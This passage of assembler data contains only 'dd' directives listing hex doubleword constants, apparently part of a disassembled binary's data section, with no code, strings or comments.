511151F8h, 2CC460F0h, 210FA294h, 0B5D1FBA2h dd 0A369F0E3h, 0B5D3BCF0h, 7CF1E021h, 0DDF7B0F0h, 4925602Ch dd 7C530A8Bh, 7186E21Ch, 7809250Bh, 258E0FDCh, 0EC38F55Bh dd 406DEA9Fh, 8394EB91h, 221F7B89h, 0A78AF5FEh, 22C03F03h dd 8EE6A90Dh, 0B0E99832h, 0DA47F033h, 0E81A7797h, 9350019Fh dd 6D49CBA3h, 16018031h, 0D81512AAh, 3BA1488Eh, 0E91F882h dd 2C67395Eh, 17AAC21Ah, 3D22783Bh, 0EFB208D9h, 24993083h dd 0A1DFB562h, 6A2FA18Bh, 0A2F9281Fh, 567900Bh, 7DD5D416h dd 0E0BE39B8h, 79AA6540h, 292AB8BFh, 601CF9F4h, 8DC64AA9h dd 82C8674h, 6895A71Dh, 0AD9D8C2Ch, 74728029h, 0EFEEEB35h dd 0D126D147h, 4178F374h, 9CD5AC40h, 2DEF6731h, 4471145Fh dd 0BDA2C98Dh, 6ED6E06Ch, 0DA2D3138h, 0E73F0532h, 0BEE1BD1h dd 0C6E0C072h, 510C0FDBh, 813E0308h, 1A93C9AFh, 0AB61E592h dd 458A4892h, 1A44ED1Dh, 88057AFDh, 0F4B3DEE5h, 824E2C82h dd 11EB5AB0h, 0C918E8B8h, 0D57FBDF5h, 573AAF1Fh, 6CC37ACDh dd 156E4BA5h, 0EDD7014Fh, 3F158BECh, 235EE66h, 63135DFAh dd 540F7041h, 979B36D1h, 0FA3CE5FCh, 0D1EBE44Ch, 7D375D9Ah dd 0CF374410h, 0BEB9068Fh, 0A1526693h, 0DE02F1DFh, 42D399A6h dd 0DE54EA36h, 882525ADh, 9B990FCCh, 0ACE0703Ch, 0B53B1E37h dd 16F018A1h, 0D9109523h, 6CE2C730h, 779520A7h, 26E0DDDCh dd 7D52F24Dh, 0B03CFC45h, 6B4FE679h, 0F124B07Bh, 0D6A5AB8Fh dd 851B6BA5h, 0DA353A42h, 2B2778DEh, 0ACB733A0h, 5FCD39D3h dd 0C6FB4DECh, 4A7405FBh, 0B6C968Dh, 750066F7h, 0DB591F09h dd 0C29AE2A3h, 60B3D25Ah, 3C76305Fh, 0D67F5B74h, 1BBE3BC6h dd 7DA81F9h, 8829086Bh, 0E8887FD5h, 1F12B20Ch, 0A526C36Dh dd 573E79E6h, 0E6EF63C0h, 0FB47447Ah, 0BC99F001h, 7DB73DDh dd 73F83B38h, 0BA8467A2h, 0D123E8D2h, 2C272459h, 6693A555h dd 0DF5E512Fh, 0A50E1F8Fh, 0C45484D2h, 0B606567Fh, 40CAF087h dd 0A4BCD6A8h, 1EBC387Eh, 3303576Eh, 86E6CEDAh, 9AAF158Ah dd 29339187h, 41897A9h, 614950EAh, 0F46221E4h, 0F5AB7C18h dd 5EA81AEAh, 0E50F5458h, 0BF2AC18Dh, 0CB22B351h, 0F080A109h dd 0AB237EE5h, 781F8D77h, 2F2A9917h, 0E0FF6F7Ch, 0DF8185Fh dd 4AF8ABC8h, 4BEA3B69h, 36260359h, 0C2E8540h, 0FF022204h dd 3B52AB3Eh, 0D68FE1F1h, 0A3DD446Ah, 0B5A1ED1Bh, 15396841h dd 45B0AD57h, 0DA70C25h, 0AA828607h, 0D14DD5D9h, 6B4F415Dh dd 9A8E8FE1h, 8A0C0C1Ch, 0F4069CA6h, 39D3846Fh, 76D548E2h dd 73968FD3h, 0CBFDF0D6h, 1F068141h, 8AA6E13Ch, 6B9DC1F3h dd 4554BB2Dh, 0BFA6BD84h, 0E6A27314h, 0A68A7DFAh, 552B4522h dd 0B5AEB814h, 0C0F2895Ah, 0B353C2FEh, 0AF0EEEADh, 0E2FC22Fh dd 75D47F43h, 47A54A6Dh, 945B51B4h, 7DD99F48h, 394DEE34h dd 36CB70DCh, 38685A2Bh, 0A69AB1BCh, 0F170966Fh, 53F0A90Eh dd 7C282D04h, 0DCBE136Dh, 2129700Ah, 0FB326A20h, 111C4BCAh dd 9C3B44Bh, 0E88197E1h, 0CF82842Dh, 66837791h, 0DADD961Dh dd 39331E35h, 0BEA60ABFh, 49F6EAE1h, 8A97AD3Fh, 8B59853Ah dd 3C988268h, 0F3FD1A28h, 0E755E429h, 4C2F72Ah, 4D088A18h dd 0B360297h, 0DDE2E07Bh, 1B0ADDFDh, 0CBD8A637h, 171901DEh dd 0D711A0D3h, 0BFCF4B4Dh, 67AAACBAh, 0C05BD9F8h, 0AB2F279Ah dd 84B64D4Dh, 790E8206h, 773C6279h, 0B76DD526h, 8D25F2B4h dd 62C9080h, 0CBDCAA28h, 0B8017019h, 7A36B8BEh, 5374CD6Eh dd 4D6D75FFh, 6AD057AAh, 0C825DBFAh, 0F28F05EEh, 9E85A0D6h dd 1C33F996h, 0AE0FAA09h, 81EBC2B3h, 9358081Ch, 0FE7EAB13h dd 91D98881h, 0F92FEA82h, 32CA9084h, 74E95C9Dh, 0A37C9E9Fh dd 0D47FA9FFh, 2FE1CADFh, 0BF0B60DEh, 0C02C7C3h, 0C4C17546h dd 0EB791541h, 6E738C03h, 3E506DD6h, 0F6069B41h, 0EF3D3999h dd 0FB85D20Fh, 81EB70A4h, 0D8FA925Eh, 88F2DE95h, 42D1F0F1h dd 6673558Ch, 0F03D053h, 0B3FDA916h, 0DE43E6D7h, 259448AAh dd 5CEE5E07h, 87619842h, 940CBD6h, 0F1738C1Fh, 1BA5343h dd 8173268Ah, 0D551B612h, 0E187849h, 4EC13135h, 85A04FB9h dd 4812A2A3h, 6AA163D2h, 0B65E6FB9h, 0D0FC4C72h, 2AA81098h dd 3E228B89h, 0F9DAEF4Ah, 2A4C39A2h, 0ED4BE39Ch, 1610EF8Eh dd 421F8DB3h, 0C440BF73h, 13C38FE7h, 0DB3318CDh, 59713110h dd 3ECB43F1h, 0F47FE010h, 44FE006Bh, 0D1FCE079h, 0D92CC52Bh dd 0F85F8DA1h, 9ED9A02Ah, 0DCADF5B1h, 0DA32F4B7h, 18DB639Ch dd 0E0F263C7h, 0E817403Bh, 0D0E76774h, 5F643F05h, 8198A824h dd 9F02940Bh, 240C0F01h, 23E90F51h, 0B4FB2971h, 29CF41D5h dd 0B3686F11h, 50E050FAh, 0B46895A5h, 9B7B5C6Bh, 0F4F857CFh dd 0FA2A15B8h, 0C6DCB9A8h dd 318D2E0Ah, 6B119C0h, 0A0477370h, 0A4BAD5B5h, 35CAA222h dd 8186269Ah, 87A10E66h, 5D500937h, 5F6C1407h, 9EB3729Fh dd 39D43F15h, 0C2A083F8h, 34CF2E9Ch, 62891434h, 97EE2CA6h dd 0B16481A8h, 5F990B45h, 8B9F8AA9h, 0BA671DAFh, 3C1E925Fh dd 973589CBh, 7725FE7Bh, 3D443A3Dh, 3EEA8FEh, 7BB415EAh dd 0D04AEE2Bh, 153B41B3h, 0B2FA442Fh, 0BC06BDB9h, 0B43F0983h dd 8B87BF7Ah, 3A241408h, 923693EFh, 81F55E39h, 916CE28Eh dd 25BA9CBDh, 0A1572040h, 0BFEC3CA3h, 0E1EE561Dh, 2D139939h dd 2FE57B02h, 72FD96AFh, 0E5143D2Ah, 399BFC68h, 0C32792Ch dd 7DDE38Bh, 101712FAh, 9A181E2Fh, 97F9DAA0h, 3411FDC5h dd 46688D53h, 6D30F015h, 0E214FACAh, 30BD8099h, 0FB7C2ACAh dd 379F9AE7h, 0F5D052FBh, 0C16B2B45h, 0CB9D0998h, 0C1D09537h dd 53F50846h, 0DD448337h, 7B2ACCBDh, 26DFA976h, 79F16AAh dd 0D35684B6h, 3FC44D0Eh, 0C805777Dh, 1A9E2FBEh, 0E8881671h dd 0BAD62C88h, 64F5495h, 0A3E152A3h, 0DC9AA604h, 0D3B22C18h dd 0F43B3D5Dh, 8B1AC72Bh, 76BF7503h, 9C3B452Eh, 0B8E11B4Dh dd 0DE31941Eh, 2D54C3D5h, 0B81CCFC0h, 2CDE6C92h, 5FEEF896h dd 0F826789Ah, 17C0BAE4h, 950853B8h, 35C1F414h, 3333C30Ah dd 0B285663Eh, 0EB0446D7h, 1D1F5ADDh, 0A2957FD0h, 0C32B5C1Eh dd 145703E2h, 825F7FD0h, 52FF2D37h, 0E6F710FBh, 0F08A2D14h dd 0DA5C4627h, 3B802DAh, 0CCC7802Fh, 0DDDD925Ch, 0CA41E561h dd 0AB6BF5FBh, 0F0C8C802h, 6FB56450h, 0EC9F7E40h, 8237CA03h dd 5E9EC0F6h, 33B4A3B5h, 2B3D68ADh, 0D9FF7AECh, 3C39C7ABh dd 82291958h, 0C65FBC97h, 0CA3C738Bh, 92F2D7A7h, 0C05BE37Ch dd 762C3424h, 34340591h, 2C5AC409h, 0A474FDBDh, 0CA5B980Fh dd 0C09C97C1h, 0E5656F08h, 10A9148Eh, 0F55873E2h, 0DB2E539Ch dd 6236C7AEh, 0CB456ADEh, 0A00B7F73h, 1809C7ACh, 377417A5h dd 0EBA695A0h, 49DC40Ah, 355A51EDh, 1B0E9F26h, 0F0B289CBh dd 84E34E21h, 0F3EDFBB8h, 32F5974Fh, 0B45B08DAh, 27EFC1BCh dd 0D6B45A6Bh, 0ED0E5066h, 9762A30Eh, 625F0E93h, 0D55F5359h dd 80C267C0h, 14FA60Eh, 0FA646BBAh, 0DBE5370Dh, 81B70AD3h dd 0C3A0E1CCh, 0FB381F1Fh, 96FD8958h, 708899F8h, 0EDFB9F29h dd 0B02CFFBDh, 4D9A5DE5h, 0FCE4DDDh, 0A8707911h, 0AABB4CDDh dd 0EF607CFh, 73994661h, 2F1352B5h, 4324ED93h, 0DC4C602Eh dd 626BAE6h, 0B695990Dh, 8E748508h, 9F140D79h, 0BE2C0F4Fh dd 0CF96A75Ah, 0A1F88E24h, 0F013267Fh, 74BD502Ah, 0BDA3ABF0h dd 0E347D612h, 0B17FDAEEh, 7EFB429h, 93E092E3h, 0C78562CDh dd 2D90C492h, 0D5E55590h, 6D773AEDh, 507AE4D6h, 0D0259982h dd 0FE899EF6h, 0E968069Fh, 1DC70BD1h, 79AA9436h, 237C1CA3h dd 2E711400h, 0A0F4150Bh, 4A4B0C4Bh, 51DEDE0Fh, 0A63DC4CAh dd 0E8C101FAh, 29CFB71Eh, 15D5595Ch, 0F8F82793h, 0A285F835h dd 39054B74h, 5FF363B3h, 5DAEAB5Fh, 4FD292B4h, 401D3D29h dd 0C820FCA7h, 0E7BC102Ch, 5D57D852h, 0A51C8197h, 50F13458h dd 987E1BCBh, 2F71E4C3h, 0D7264D86h, 968F4562h, 77E5F303h dd 2F2AA6DFh, 0C9FDD935h, 31BBFD50h, 0CEA154A5h, 676025FEh dd 1FEFCCC3h, 6A0918DBh, 0D919DBA0h, 0DB4AFE8Ah, 31379789h dd 3BF9AD59h, 62D6A182h, 8F3EFEh, 741E7095h, 0DFDA36AFh dd 7A3FBCD8h, 0B2A80165h, 0A928DA7Eh, 0C42FE581h, 0E161365Dh dd 9D129D06h, 0FB2321C0h, 3CD4D19Ch, 0D6E3E48Ah, 69655C1Eh dd 5450087Dh, 51E0DCF6h, 542AC0BBh, 0E28925F2h, 0D6BF2725h dd 62B368C6h, 0CF04AFEFh, 0C56D1206h, 0EDD4DC09h, 8A86F980h dd 89285AC0h, 93E15268h, 0C0FC8A20h, 3284EB3Dh, 5BD15E1Fh dd 0AB31C886h, 894FE113h, 53EC029Fh, 3471CC58h, 0FC0C057Ch dd 0F86E1FDFh, 0AD0FC1F5h, 540C4C47h, 0C63C8707h, 9B17358Dh dd 0B4491700h, 0D9A1AFE0h, 4AEE7FB6h, 88C7AAFDh, 5152EEA3h dd 5FF7986Eh, 978F812h, 1DB54A61h, 6A0C1C35h, 294BB851h dd 4F5D8653h, 8DF96B9h, 0EDF6F26Eh, 0D7B38AD2h, 0D5B2E432h dd 76F8781Eh, 949FDFB1h, 0D7018EA9h, 4B82AF52h, 6C46E952h dd 61F8A97Ch, 982FF97Fh, 4747C86Ah, 0B60073A0h, 0D380A9BDh dd 53C6A9C0h, 0D86CA454h, 6B45C5D2h, 39B47A0Ch, 0F97E873h dd 0F1D250E1h, 0AD114B7Eh, 125F5A51h, 3CC37DBDh, 1F12F98Bh dd 8265A37h, 3BCFCDD1h, 50D0E463h, 0B81A42FFh, 684D8495h dd 0F9F1B53Dh, 151E18EFh, 79DA709Ch, 9246DA1Bh, 1B553C42h dd 0D8BA3E44h, 80B7783h, 23C73993h, 40BEA125h, 0CF5118A5h dd 5150CCD4h, 0AD1E68DCh, 4FCEB6BDh, 0BBCEA896h, 520925E8h dd 0BA72EB57h, 82FC8ECDh, 3895C818h, 4A5A5A64h, 0D0E3363Dh dd 77204039h, 0D9FBB174h, 3303722h, 0E9549D1h, 0E6D8ED4Eh dd 82FE8FB1h, 0C1F54170h, 3D9D4C96h, 8BCB12EBh, 4DA20533h dd 6C66F8D9h, 383E25C9h, 0DBAB3E87h, 0E3336F2Bh, 98BF819Ch dd 4CA9651Ch, 0F93F6255h, 22BD050Fh, 6039EE18h, 7BE6579Fh dd 121EAF42h, 0B3C100B3h, 5E541B95h, 4984EFE7h, 2A189F03h dd 4125FC32h, 6B5839ECh, 0F2DCADCAh, 9C89F385h, 55547A4h dd 0FCF30FE0h, 312ACC24h, 0FF0AF42h, 0A60F8128h, 78F1BAB7h dd 0D7A1C550h, 0B4B45D2Fh, 8D28DD5Bh, 0C383CA14h, 0E11904ADh dd 67F96102h, 0EC242EDFh, 0B78A2581h, 0E0C23ED2h, 0DF03B0CBh dd 76A44A25h, 97C90236h, 0C2E5C1E7h, 0C71E8694h, 262AD444h dd 3ECD4450h, 1C236B7h, 0F9556F24h, 0D9B6C1BBh, 76731B15h dd 19D8F964h, 5678C039h, 7ABE6A92h, 0EBF2769Dh, 4D8DB41Dh dd 7F5B5B47h, 46FFA1C3h, 0A91E7DA5h, 753E463Fh, 83C68982h dd 94E717C7h, 0AFE07C17h, 0CC85BF31h, 0F7E02A75h, 0E14A5AA8h dd 119F097Bh, 9D568CFBh, 0A0ACA0FDh, 6890BA62h, 367FB9C3h dd 5935206Bh, 5D27BABBh, 3B5C1642h, 59C7106Fh, 0E766BD66h dd 0E391AEC8h, 1176502h, 0C5D2E78Bh, 0A6617844h, 33314974h dd 0D8CBFBA5h, 0F37BE8CAh, 4E9C2843h, 5ED18C0Fh, 6E7725C2h dd 0F85692B8h, 0C099E290h, 83DE9FB3h, 81E972A8h, 9D0FA2D8h dd 0D7E9B4D3h, 1A053F5Dh, 0F040655Fh, 1B8C0F3Eh, 5B8989F0h dd 5E01B936h, 88E4F556h, 0FE68362Ah, 9BF5587Ch, 2D55FBF4h dd 0FD407BF6h, 9CC8C357h, 675123C3h, 0E0F8614Fh, 1E4BB48Bh dd 34F9E89h, 68D9C8BDh, 9AFADE07h, 0C7A0D943h, 0AB45F867h dd 0B4D348E0h, 2EF82F76h, 63B38A6Ah, 0E87C6717h, 4DBE5E1h dd 0C4A806DBh, 9725AEDh, 0B0252C0Eh, 9FCD62A8h, 54647Dh dd 0EA42DCD1h, 0DE1AAC6Dh, 6C35BB8Fh, 656A84B1h, 627AE200h dd 2BAFD98Ch, 0B42D71B5h, 0B07E0744h, 0D3D8F1F1h, 38796FFh dd 42C59FCDh, 6F52D022h, 88A2A4ABh, 2D25417Bh, 42FAFC1Ch dd 9FCD9485h, 58712763h, 39ECB474h, 0EA2A37E1h, 0F0B258F8h dd 0FC3C56DDh, 9F8565F0h, 0B2EF7E97h, 821B7B57h, 0C0F03D64h dd 61B8E02Dh, 0DDFCAAD6h, 8BC5EF7Bh, 0CBAF29B6h, 42F03E6Bh dd 2D462AABh, 79DEFB3Ah, 94AA36E1h, 0C395BD83h, 7B1C4CE0h dd 79F1F106h, 82AF68A4h, 0E4B55C77h, 1A5BE7EFh, 9DAAC797h dd 52C90BFCh, 0F04E4615h, 0F9A57C6h, 0E7C65180h, 57B9C807h dd 9D16CF13h, 0D8ACD6F8h, 7A17CC8Bh, 144658A0h, 2A78BAF8h dd 1E36F39Dh, 0EF92E260h, 0D5EE188Fh, 58D7BBC7h, 2AADD431h dd 6BC4C2C2h, 0BD80618Bh dd 578293ADh, 1C06D511h, 62523EFEh, 3770B386h, 6FA3EE8Ah dd 29EFBDACh, 38581DA1h, 326A0591h, 75DA8C9Dh, 0F7DC55A9h dd 27B173D5h, 42F6D5C1h, 0BD02EBE7h, 54970A40h, 0B07C2821h dd 65470BA5h, 7E315802h, 85BACD73h, 6F4BB025h, 0BB5FA2EFh dd 6C30423Bh, 50B430BCh, 14B6A597h, 3052D1F2h, 7C106DCDh dd 0DAD44713h, 0E2A8C4F9h, 0C063A783h, 0A9552BDBh, 7F74F858h dd 0BE96148h, 0C205E91Eh, 3B5B1012h, 2FC7A959h, 57276FAFh dd 940A3E8Bh, 0C5B018EFh, 20AA8834h, 4EA85609h, 0FC0CC4Eh dd 84829224h, 217AF136h, 0E82B6C6h, 0A02BADFh, 7244BBE9h dd 68E5181Eh, 3D9B3BC3h, 0C597F7D5h, 0E8DF2831h, 7F3CAFFEh dd 7E076887h, 0DE576136h, 94E1EBA3h, 9EBFBA8h, 0F412BFFEh dd 0A5DDA5B8h, 4788A528h, 0EC48D694h, 700ED175h, 57A5D487h dd 0E0B25085h, 0F2F11ABAh, 69F7509h, 0BE4B54FDh, 2F8CCE4h dd 0F54236F9h, 0EEAB581Fh, 978BBB03h, 95F0784Bh, 3ADBB8D2h dd 0CD5740CEh, 3B09EB51h, 61BC1CAEh, 19F88FDFh, 8B79DD59h dd 66E073A4h, 87BDFCC2h, 59B7A041h, 85B3E168h, 0D9DCA842h dd 0A7F9C0F2h, 0F3315E7Dh, 0A206A967h, 7B366662h, 0D2ADBDBAh dd 0B3C124D6h, 0C7C64D1Ah, 0A4544BF8h, 76990CC9h, 403E291Dh dd 0A9C79C15h, 0BFB925ADh, 2588059Eh, 289607EDh, 0F4E7FCFCh dd 5FDC7A2h, 0BA2E897Fh, 347F1178h, 0F1AC3273h, 26F32DF3h dd 0F4A36CF8h, 4A0FDDBFh, 20EF35B9h, 60A0BF14h, 0BCB55DF1h dd 6E51C812h, 3EA2521Ah, 0B411A1ABh, 818DF953h, 98547B0Ch dd 0DD61053Ah, 0D849075h, 7865224Ah, 1115A7C0h, 16B56D3h dd 0C654A53Fh, 88968ED6h, 0D75DE42Dh, 0EB70DF2Eh, 555165D7h dd 2274E780h, 2A4AC1C1h, 0E6C7541Bh, 2FB7CAAEh, 0D2D1BC98h dd 47E9F02h, 0D3A4E28Bh, 0C3BBA67Bh, 0BE85150Dh, 0AF8218DDh dd 92D32DC0h, 0BA38F52Ah, 0DD75A25Fh, 7E0CBDFDh, 0F0F7E456h dd 771AE50Eh, 0CE33D8E4h, 0AF96A97Bh, 7AE5CD12h, 70703E82h dd 0F16BCC6Ch, 0BFC3DD12h, 0B5AFC6E4h, 3FDF22B0h, 34F2E11h dd 50703EDCh, 0D05C54B1h, 4E14525Bh, 46FD7AA9h, 0BA5AAAE9h dd 0C93C8625h, 0E7AC6079h, 1DCA3533h, 8CDF07EFh, 0F00A90BFh dd 501C4BCEh, 0DB66A103h, 0AF3A3E38h, 0BF7D7CA4h, 1720ADAAh dd 0DBE8D0F2h, 0EDA7CB3Eh, 2542D1ADh, 0B5029A9Ah, 82C1E696h dd 868607B3h, 25B242A2h, 27709759h, 3AA9AA98h, 0AA2417C0h dd 62ABFCC4h, 40862098h, 51F56E61h, 997690C7h, 3ECAB4C1h dd 14C09493h, 753A5E82h, 33BEB5B8h, 2B2390B1h, 51FB4321h dd 0F8895404h, 39696A13h, 0A67FE768h, 95CC435Fh, 0C10CC4AEh dd 9CD862Eh, 0C6086CACh, 3F2BC00Bh, 9D3FE81Bh, 7A156735h dd 0ED8404D3h, 0C8977238h, 0D7A76668h, 0A66368D4h, 0B73B17C4h dd 6E87E560h, 0D212AD30h, 8EF01A41h, 0DB1CE225h, 9706AF2h dd 0E22AD68Bh, 269B9985h, 751EC6B1h, 39BA158Ch, 8AE5CF2Dh dd 0E443B1B3h, 0DCB4B12Eh, 8FC11B34h, 0E0DD2FF2h, 380FDD5Ch dd 7220255h, 0DCCE36C1h, 5083AA89h, 8D575426h, 8C38269Fh dd 29D2E015h, 0F7E043F0h, 72B9C21Ch, 1E12A62Dh, 0B4C39FC6h dd 5925615Fh, 0A45C9CBBh, 0FE687E3Fh, 952C043Fh, 16EC463Eh dd 0B2346FC7h, 85AC0F64h, 595686EAh, 0D5BAE5B9h, 7B7BBE31h dd 648B6F1Ch, 46BAEAD5h, 0DD438905h, 5F5E4C1Ah, 938747A6h dd 0F7C6142Ah, 8137FB43h, 6E04548Dh, 4F5602C8h, 0DC24C1E2h dd 7A810C5Bh, 8A8A80AEh, 92520CBAh, 0A781AD2Bh, 4B980DBDh dd 1D05DBFBh, 2D117DB4h, 8EB6A6EAh, 7DEBE0EBh, 0F581BF07h dd 27B7ACB6h, 0C4AB715Ah, 19B6FFB3h, 8B8DE74Eh, 74C167FDh dd 0E56E126Dh, 0B593DD00h, 0B7B7AD76h, 1D0A64EEh, 15B423D6h dd 8E4E0D46h, 56D8EC0Fh, 0AEC4A985h, 0DC4B11BBh, 0B1AC4C0Eh dd 0B733E02Eh, 9F96AEDDh, 81BC793Eh, 0E457AB2Ch, 0D7D40F16h dd 27251447h, 6BD45324h, 0F84E1736h, 0AC32D9B4h, 34057AF5h dd 0BA9E2FBBh, 688D6085h, 1FEFBFABh, 9EFCB4DCh, 113D9A2Ah dd 5CE9425Eh, 45E8046Bh, 14E42F4Fh, 0B6B709BDh, 0BF4BBC39h dd 37166F82h, 9705C6D9h, 0FC9F816Fh, 0C7AC73F5h, 0A8F0566Ah dd 496F670Ah, 4397B91Ah, 3747E43Ah, 1F894A96h, 256D6B79h dd 4AB3EDFDh, 7A1D3EBFh, 0C561CBC7h, 0C6543147h, 7A95896Bh dd 303F1B64h, 0BA924B39h, 0C124E975h, 6CB42F77h, 362D5016h dd 34B40B44h, 3AB5523h, 57BC2E6Ch, 5B878BBAh, 0BA861DB5h dd 0B2824EEDh, 7E6830A6h, 40E3735Fh, 8BB80860h, 7FB9FADCh dd 1740E1ADh, 58A82FD1h, 0C8E435BAh, 0EC80AEAFh, 91B8AAE4h dd 0FEF54042h, 0DED4D720h, 12D17895h, 578BAE42h, 5F9F7D5Bh dd 3E282EFh, 0F93AF2FFh, 2D2C7F83h, 1781F545h, 7B2A155Ah dd 399BC082h, 84E7654Fh, 0B12B908h, 9EDA40B9h, 456D1C2Ah dd 84B61113h, 0E33598E9h, 7C548FFDh, 0F0699CD8h, 89FFC5FBh dd 0F9F3ADA5h, 0F42FBA7Ah, 62F861E2h, 109E95A3h, 494E46F3h dd 0D0DE559Bh, 599D0E2Dh, 2C881478h, 38E19ECFh, 0E6DF4BD3h dd 6ED504EEh, 0C1A32B7h, 0F1225BA6h, 0EACE54E4h, 3C966439h dd 0D1D46E6Eh, 48E613F0h, 0FDFEDDFCh, 0BE74067Dh, 547DEC7Bh dd 4B4956B7h, 0BB457EFDh, 11ECE0EEh, 3D7614BCh, 75EC4FB1h dd 66DAA4EDh, 9F6F7161h, 0A1939787h, 0FEEB9CA4h, 0E1B99223h dd 75A5F81Eh, 7F9A9D05h, 0C30B67F6h, 20848FE4h, 6173EA39h dd 0F9AEB6B1h, 626A96ECh, 0C921F8E2h, 4CD46AB0h, 0A731F025h dd 2965D370h, 719EFF3Bh, 2E2613E5h, 0F8462F71h, 4B59215Eh dd 7B64AB7h, 0D9CD8FA0h, 0EC819AA9h, 0CD65FE03h, 6D8E9BECh dd 67F30807h, 331F1EBh, 0F3734188h, 0F3CE29Ah, 0CC09BB9h dd 0B8E2685Eh, 8C5FF203h, 1974388Dh, 5A20F9BDh, 36A1D365h dd 0BB52156Fh, 0B4FA09EEh, 0F72CFB32h, 8B866DD2h, 0D2B86B6Ch dd 0EE002BB5h, 961C5CC3h, 0AF1FC77Ah, 3084A873h, 2E8562C8h dd 49F5D9AEh, 8699DA74h, 67BC3F15h, 0B7A7D11Ah, 0EA40B03Eh dd 3F870209h, 6EC4D548h, 0E15F8DAFh, 6F0B83EAh, 8D28908Ah dd 44981396h, 0BEA4FB88h, 0ACDF90C1h, 0B02F2BC0h, 4FD2DE2Ch dd 227EB0C4h, 7C942718h, 6A9D9A4Ah, 5A70567Ah, 5640D7A5h dd 6D5CE326h, 7C0C4517h, 0F62AD950h, 4032AF54h, 9877C31Bh dd 6BD0AC6Eh, 8BB2315h, 1B440791h, 0D8A92B51h, 0B67FC2EAh dd 6924E0D2h, 0F56640A4h, 690D0D69h, 736145C0h, 0A43CE062h dd 7E6F381Eh, 5B2253Eh, 0FDDA2C37h, 66ED6F9Fh, 6113F11Eh dd 4BB74C75h, 2C3E7806h, 65F9633h, 38125128h, 7EDC8DA2h dd 0D3E0DFFh, 0F1E37C3Dh, 871E3CBEh, 24941DECh, 6B2C5FF7h dd 86A757D5h, 0A52D7741h, 0BA0CAE3Fh, 17A37FBEh, 0AEDC97B9h dd 9FC4C096h, 0FDB51A02h, 8A94498Dh, 2F3851E3h, 39D7E7DAh dd 645C6300h, 0B7FB0677h, 0E6E156Ah, 6705FB3Fh, 0DD77834Fh dd 529BDF8Bh, 0FC3D525Eh, 5F60BF23h, 0F120ADF5h, 8237D1B0h dd 5E926C1Ch, 0F1A61961h, 0DA86AD16h, 8EA3F0EBh, 185D48A3h dd 6FDBEEE2h, 0AD7F7620h, 28DA2BEAh, 87416746h, 66F2CE11h dd 6065D9AEh, 90580FA0h, 73D28E39h, 0CB3A9908h, 73B9D5Ch dd 3F0FD576h, 4A2D19FEh, 0ED36CA9h, 7ED9DC66h, 472AF785h dd 0BDDF62FDh, 1F03380Dh, 8CA045F9h, 73EB41EBh, 32C539A0h dd 44E5C346h, 72C5E102h, 7D8C8F2h, 0C3F8E5h, 0CE7A5DE0h dd 7EF8DAD0h, 0D9FB9054h dd 0A19E9ABAh, 3A2594A5h, 4403EC89h, 9456F66Ah, 0CF07C107h dd 761E6F95h, 6AD1ECBEh, 637BAA2Ch, 1F3DE593h, 4F565938h dd 0F6FD2DBAh, 65348F93h, 8C0DECC0h, 67703CAFh, 1F87BB06h dd 78F6BE43h, 0F0D278C0h, 2E2AC749h, 485C4130h, 37390AA4h dd 2A32DA61h, 2CBFA732h, 59EC7BCCh, 0D20D6F01h, 5D3F2D2Fh dd 0C51D2FF7h, 0D1F3310Ah, 6F8EFD60h, 5D08A010h, 726E910Ch dd 93E3180Dh, 3B8F55A3h, 10FB4005h, 0AD4B11E7h, 5E7A89ADh dd 0CCA8404Ah, 0A740B35Dh, 3D81AC57h, 0BA7E8ED6h, 0A7D1259h dd 2C8C6322h, 94B52A4Ch, 0A5D2A771h, 30837AFh, 593D0A5Fh dd 247647D9h, 5D06FCA9h, 0D415531Ah, 5B32C862h, 5A84ECD7h dd 62752F20h, 1AFBF3E2h, 0C5A87ED4h, 0BF6BDD71h, 2D5D5F17h dd 0FD560BBDh, 8AC52C3Dh, 0D80E1872h, 0BF980816h, 5A1E25A2h dd 57E787C3h, 9FC5D313h, 9A72818h, 7C241C62h, 74DE0F01h dd 727ADCF7h, 8286B6EEh, 47A7DE40h, 0B0EB3DC2h, 706CAA0Ch dd 464EAAA2h, 4B7C622Ah, 189D9F12h, 826DA5FDh, 9CC698E0h dd 18DFD5F9h, 0B1E9DF29h, 6F9AD01Bh, 17B8604Dh, 0FA2AD2D9h dd 572825FBh, 6E175CDAh, 943F1106h, 953B8A79h, 0CC7A2ECEh dd 5A0CDEF4h, 0FB05F3C0h, 0F9CD74D8h, 62FFBDFCh, 0BA88BF3Dh dd 5ECCA545h, 5B051A95h, 35DCF547h, 0D6DB4F9Eh, 4CB5787Eh dd 0FA9F48A8h, 0DEDFB1E4h, 0C2544D0Bh, 0FFF75781h, 0E2EF26B9h dd 373AC47h, 6670B4D5h, 0F3789EE5h, 0E01769FBh, 9E646FCh dd 58572013h, 1DD58BB6h, 832BD3F0h, 0B2AA055Ah, 3BA43F01h dd 1FFE04BFh, 7E5B81FBh, 0F67397EBh, 797E7F37h, 7997FA17h dd 0E38AC62Ah, 139D50F3h, 3ACA8605h, 67DA1366h, 0EB4B33A6h dd 65F6D52Bh, 742C43EDh, 939EEA7Ah, 10B5A46Dh, 955E1342h dd 553B53EAh, 0FE053729h, 0FA49150Ah, 8FC60F90h, 5C031706h dd 0AFDBA7F9h, 507DAB9Bh, 0D7867860h, 0AB5A2856h, 0D84B15Ch dd 0EC0DDAE7h, 0BE86A320h, 95C010C6h, 7E676107h, 0CA5D978Ah dd 8C634514h, 7A6C50ACh, 0BD78B613h, 352B4F47h, 0CE1793h dd 0F72C4610h, 10FB4578h, 4318991h, 0FB65DECAh, 0EB4ADD37h dd 0F0651675h, 4F744144h, 0B17C1ACh, 0A9B877B2h, 3C48FB4Eh dd 1050C975h, 3E47052Ch, 3ACF450Fh, 0BEAC1E8Bh, 2AD558DEh dd 4F7753B4h, 40C9ED3Bh, 60DBE481h, 28351F2Bh, 0D855E244h dd 0CB9EDCFEh, 0EB0F6453h, 17130C4Bh, 6A390243h, 0BDFC5588h dd 0E7186EB9h, 0B1DA952Eh, 7FB2A92Ah, 0A6AADDC1h, 0F02A9E17h dd 9BBAA121h, 28B255D7h, 0EFE23C04h, 942A992Eh, 685AFE7Eh dd 0AAC48989h, 0AAFE15EFh, 942E97D6h, 54B31F0Ch, 97B160D3h dd 0ADDF9FDCh, 6D8B4355h, 0F74D6BF6h, 0B40968A7h, 0BF03375Eh dd 6FC3FD4Bh, 0DF470CD4h, 676534F2h, 6C1977BDh, 0D288C506h dd 4930229h, 0C04A8094h, 539883Dh, 0D08A2BA4h, 11903F18h dd 11574812h, 7114FA80h, 9509AE3Bh, 84C71F11h, 8F3027B9h dd 0C26608CAh, 7409811Dh, 0E80A2FD6h, 